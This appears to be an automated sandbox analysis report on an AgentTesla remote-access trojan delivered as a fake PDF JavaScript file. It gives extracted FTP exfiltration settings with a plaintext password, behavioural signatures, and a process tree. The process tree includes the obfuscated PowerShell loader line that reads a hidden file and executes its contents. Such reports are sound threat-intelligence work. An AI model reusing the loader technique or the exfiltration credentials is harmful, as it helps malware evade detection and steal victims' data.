Analysis
- max time kernel
298s - max time network
289s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
04/08/2026, 11:35
General
- Target Archpre_086544.pdf.js
- Size 956KB
- Sample260804-np33ssvwbw
- SHA256 81e61bd60b0742417d9b29aadad3a2c13bcaac8efb82454a5a39998be6acc99d
Malware Config
Extracted
-
agenttesla
-
Protocol
ftp
-
Host
ftp://ftp.gebzekamlok.com
-
Port
21
-
Username
-
Password
@Rocking11.
Signatures
- Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Drops desktop.ini file(s) 3 IoCs
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies Internet Explorer settings 1 TTPs 2 IoCs
- Modifies registry class 24 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Archpre_086544.pdf.js1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe" c:\windows\Nedover.ini2⤵
- Modifies registry class
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Drops desktop.ini file(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Svensk='/app'+'data';$Thermicnad=gc ($home+$Svensk+'/local/Hande');$Zabagl=$Thermicnad[4873]+$Thermicnad[4874]+$Thermicnad[4875]; . ($Zabagl) $Thermicnad"1⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Svensk='/app'+'data';$Thermicnad=gc ($home+$Svensk+'/local/Hande');$Zabagl=$Thermicnad[4873]+$Thermicnad[4874]+$Thermicnad[4875]; . ($Zabagl) $Thermicnad"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
-
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
Asce.Upr
Hande
memory/4388-50-0x0000000021200000-0x000000002120A000-memory.dmp
memory/4388-49-0x00000000212A0000-0x0000000021332000-memory.dmp
memory/4388-48-0x00000000211B0000-0x0000000021200000-memory.dmp
memory/4388-45-0x0000000001000000-0x0000000001042000-memory.dmp
memory/4388-44-0x0000000001000000-0x00000000022E6000-memory.dmp
memory/4388-35-0x0000000001000000-0x00000000022E6000-memory.dmp
memory/6152-3-0x0000020B6DE40000-0x0000020B6DE62000-memory.dmp
memory/6576-13-0x0000000005B90000-0x0000000005BF6000-memory.dmp
memory/6576-27-0x0000000008BD0000-0x000000000B49F000-memory.dmp
memory/6576-22-0x00000000067B0000-0x00000000067CA000-memory.dmp
memory/6576-23-0x0000000006830000-0x0000000006852000-memory.dmp
memory/6576-24-0x0000000007910000-0x0000000007ECA000-memory.dmp
memory/6576-25-0x0000000008550000-0x0000000008BCC000-memory.dmp
memory/6576-20-0x0000000006320000-0x000000000636C000-memory.dmp
memory/6576-21-0x0000000007230000-0x00000000072C6000-memory.dmp
memory/6576-19-0x0000000006270000-0x000000000628E000-memory.dmp
memory/6576-17-0x0000000005EA0000-0x00000000061FB000-memory.dmp
memory/6576-14-0x0000000005C00000-0x0000000005C66000-memory.dmp
memory/6576-12-0x0000000005490000-0x00000000054B2000-memory.dmp
memory/6576-11-0x00000000054D0000-0x0000000005B1A000-memory.dmp
memory/6576-10-0x0000000004DB0000-0x0000000004DE6000-memory.dmp